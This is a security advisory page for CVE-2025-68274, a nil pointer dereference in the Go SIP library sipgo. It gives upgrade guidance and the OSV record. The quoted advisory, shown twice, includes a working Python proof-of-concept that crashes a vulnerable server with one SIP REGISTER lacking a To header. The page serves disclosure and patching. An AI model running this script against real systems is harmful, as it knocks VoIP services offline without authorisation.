CVE-2025-68274: Github.com/emiago/sipgo Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-c623-f998-8hhv
CWE-476
Published
Advisory Summary

CVE-2025-68274 is a HIGH denial of service vulnerability (CWE-476: NULL Pointer Dereference) affecting Github.com/emiago/sipgo libraries in the Go ecosystem. The issue involves sipgo is vulnerable to response dos via nil pointer dereference. Remediation is available by upgrading affected packages to version 1.0.0-alpha-1.

CVE-2025-68274 at a Glance

CVE Identifier CVE-2025-68274
GHSA Identifier GHSA-c623-f998-8hhv
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-476: NULL Pointer Dereference
Affected Product Github.com/emiago/sipgo
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2025-68274

To remediate this vulnerability, upgrade all affected Github.com/emiago/sipgo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/emiago/sipgo fixed: 1.0.0-alpha-1
Upgrade github.com/emiago/sipgo to 1.0.0-alpha-1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/emiago/sipgo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-68274, inspect your project dependencies for Github.com/emiago/sipgo:

inspect dependencies for github.com/emiago/sipgo

Analyze the terminal output to locate any version of Github.com/emiago/sipgo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-alpha-1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In Github.com/emiago/sipgo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description A nil pointer dereference vulnerability was discovered in the SIPGO library's `NewResponseFromRequest` function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header. The vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases. > Note: This vulnerability affects all SIP applications using the sipgo library, not just specific configurations or edge cases, as long as they make use of the `NewResponseFromRequest` function. ### Technical details The vulnerability is located in `/sip/response.go` at line 242 in the `NewResponseFromRequest` function: ```go if _, ok := res.To().Params["tag"]; !ok { uuid, _ := uuid.NewRandom() res.to.Params["tag"] = uuid.String() } ``` **Root Cause:** 1. **Missing To Header**: When any SIP request is sent without a To header, the SIP message parsing succeeds but the To header is never set in the request object. 2. **Header Copying Logic**: During response creation in `NewResponseFromRequest`, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response. 3. **Unsafe Assumption**: The response creation code assumes the To header exists and calls `res.To().Params["tag"]` without checking if `res.To()` returns `nil`, causing a nil pointer dereference. **Stack Trace:** ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x2 addr=0x70 pc=0x10261fcb4] goroutine 175 [running]: github.com/emiago/sipgo/sip.NewResponseFromRequest(0x14000433e00, 0x191, {0x1026b074b, 0xb}, {0x0, 0x0, 0x0}) /Users/user/Documents/GitHub/sipgo/sip/response.go:242 +0x394 ``` ### Impact This vulnerability affects **all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses**. **Attack Impact:** - **Availability**: Complete denial of service - application crashes immediately - **Remote Exploitation**: Yes - **Authentication Required**: No - vulnerability triggers during initial response generation which does not require authentication ### How to reproduce the issue To reproduce this issue, you need: 1. A SIP application using the vulnerable sipgo library 2. Network access to send SIP messages to the target Steps: 1. Save the following Python script as `sipgo-response-dos.py`: ```python #!/usr/bin/env python3 import socket import sys import time import random def create_malformed_register(target_ip, target_port): call_id = f"sipgo-dos-{int(time.time())}" tag = f"sipgo-dos-{random.randint(1000, 9999)}" branch = f"z9hG4bK-sipgo-dos-{random.randint(10000, 99999)}" # Craft malformed SIP request without To header sip_message = ( f"REGISTER sip:{target_ip}:{target_port} SIP/2.0\r\n" f"Via: SIP/2.0/UDP 192.168.1.100:5060;rport;branch={branch}\r\n" f"From: <sip:attacker@192.168.1.100>;tag={tag}\r\n" f"Call-ID: {call_id}\r\n" f"CSeq: 1 REGISTER\r\n" f"Contact: <sip:attacker@192.168.1.100:5060>\r\n" f"Content-Length: 0\r\n" f"\r\n" ) return sip_message if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 sipgo-response-dos.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malformed_register(target_ip, target_port) print(f"Sending malformed REGISTER to {target_ip}:{target_port}") sock.sendto(payload.encode('utf-8'), (target_ip, target_port)) print("Exploit sent - target should crash immediately") ``` 2. Run the script against a vulnerable sipgo application: ```bash python3 sipgo-response-dos.py <target_ip> <target_port> ``` 3. Observe that the target application crashes with a SIGSEGV panic. > Note: The key element is the missing To header in any SIP request, which triggers the nil pointer dereference.

CVE-2025-68274 Affected Github.com/emiago/sipgo Versions

1 component(s)
Fixed Versions:
1.0.0-alpha-1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/emiago/sipgo
Go
≥ 0.3.0
< 1.0.0-alpha-1
1.0.0-alpha-1

References

Frequently Asked Questions

What is CVE-2025-68274?
CVE-2025-68274 is a security vulnerability in Github.com/emiago/sipgo involving SIPGO is Vulnerable to Response DoS via Nil Pointer Dereference under CWE-476: NULL Pointer Dereference.
Which Github.com/emiago/sipgo versions are affected?
Affected versions include releases prior to 1.0.0-alpha-1 across affected packages: github.com/emiago/sipgo.
What version fixes CVE-2025-68274?
Upgrading to 1.0.0-alpha-1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/emiago/sipgo affected?
Yes, github.com/emiago/sipgo is affected in releases prior to 1.0.0-alpha-1. Upgrade your dependency to 1.0.0-alpha-1 or later.
What CWE is associated with CVE-2025-68274?
CVE-2025-68274 is classified under CWE-476: NULL Pointer Dereference (The product dereferences a pointer that it expects to be valid but is NULL.).
How can I check Go dependencies for CVE-2025-68274?
Run the dependency tree command: 'inspect dependencies for github.com/emiago/sipgo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c623-f998-8hhv",
  "modified" : "2025-12-20T03:33:26Z",
  "published" : "2025-12-16T21:24:16Z",
  "aliases" : [ "CVE-2025-68274" ],
  "summary" : "SIPGO is Vulnerable to Response DoS via Nil Pointer Dereference",
  "details" : "### Description\n\nA nil pointer dereference vulnerability was discovered in the SIPGO library's `NewResponseFromRequest` function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.\n\nThe vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases.\n\n> Note: This vulnerability affects all SIP applications using the sipgo library, not just specific configurations or edge cases, as long as they make use of the `NewResponseFromRequest` function.\n\n### Technical details\n\nThe vulnerability is located in `/sip/response.go` at line 242 in the `NewResponseFromRequest` function:\n\n```go\nif _, ok := res.To().Params[\"tag\"]; !ok {\n    uuid, _ := uuid.NewRandom()\n    res.to.Params[\"tag\"] = uuid.String()\n}\n```\n\n**Root Cause:**\n\n1. **Missing To Header**: When any SIP request is sent without a To header, the SIP message parsing succeeds but the To header is never set in the request object.\n\n2. **Header Copying Logic**: During response creation in `NewResponseFromRequest`, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response.\n\n3. **Unsafe Assumption**: The response creation code assumes the To header exists and calls `res.To().Params[\"tag\"]` without checking if `res.To()` returns `nil`, causing a nil pointer dereference.\n\n**Stack Trace:**\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x2 addr=0x70 pc=0x10261fcb4]\n\ngoroutine 175 [running]:\ngithub.com/emiago/sipgo/sip.NewResponseFromRequest(0x14000433e00, 0x191, {0x1026b074b, 0xb}, {0x0, 0x0, 0x0})\n    /Users/user/Documents/GitHub/sipgo/sip/response.go:242 +0x394\n```\n\n### Impact\n\nThis vulnerability affects **all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses**.\n\n**Attack Impact:**\n- **Availability**: Complete denial of service - application crashes immediately\n- **Remote Exploitation**: Yes\n- **Authentication Required**: No - vulnerability triggers during initial response generation which does not require authentication\n\n\n### How to reproduce the issue\n\nTo reproduce this issue, you need:\n\n1. A SIP application using the vulnerable sipgo library\n2. Network access to send SIP messages to the target\n\nSteps:\n\n1. Save the following Python script as `sipgo-response-dos.py`:\n\n    ```python\n    #!/usr/bin/env python3\n    import socket\n    import sys\n    import time\n    import random\n\n    def create_malformed_register(target_ip, target_port):\n        call_id = f\"sipgo-dos-{int(time.time())}\"\n        tag = f\"sipgo-dos-{random.randint(1000, 9999)}\"\n        branch = f\"z9hG4bK-sipgo-dos-{random.randint(10000, 99999)}\"\n        \n        # Craft malformed SIP request without To header\n        sip_message = (\n            f\"REGISTER sip:{target_ip}:{target_port} SIP/2.0\\r\\n\"\n            f\"Via: SIP/2.0/UDP 192.168.1.100:5060;rport;branch={branch}\\r\\n\"\n            f\"From: <sip:attacker@192.168.1.100>;tag={tag}\\r\\n\"\n            f\"Call-ID: {call_id}\\r\\n\"\n            f\"CSeq: 1 REGISTER\\r\\n\"\n            f\"Contact: <sip:attacker@192.168.1.100:5060>\\r\\n\"\n            f\"Content-Length: 0\\r\\n\"\n            f\"\\r\\n\"\n        )\n        return sip_message\n\n    if __name__ == \"__main__\":\n        if len(sys.argv) != 3:\n            print(\"Usage: python3 sipgo-response-dos.py <target_ip> <target_port>\")\n            sys.exit(1)\n        \n        target_ip = sys.argv[1]\n        target_port = int(sys.argv[2])\n        \n        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        payload = create_malformed_register(target_ip, target_port)\n        \n        print(f\"Sending malformed REGISTER to {target_ip}:{target_port}\")\n        sock.sendto(payload.encode('utf-8'), (target_ip, target_port))\n        print(\"Exploit sent - target should crash immediately\")\n    ```\n\n\n2. Run the script against a vulnerable sipgo application:\n\n    ```bash\n    python3 sipgo-response-dos.py <target_ip> <target_port>\n    ```\n\n3. Observe that the target application crashes with a SIGSEGV panic.\n\n> Note: The key element is the missing To header in any SIP request, which triggers the nil pointer dereference.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/emiago/sipgo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.3.0"
      }, {
        "fixed" : "1.0.0-alpha-1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/emiago/sipgo/security/advisories/GHSA-c623-f998-8hhv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68274"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/emiago/sipgo/commit/dc9669364a154ec6d134e542f6a63c31b5afe6e8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/emiago/sipgo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-476" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-16T21:24:16Z",
    "nvd_published_at" : "2025-12-16T22:15:50Z"
  }
}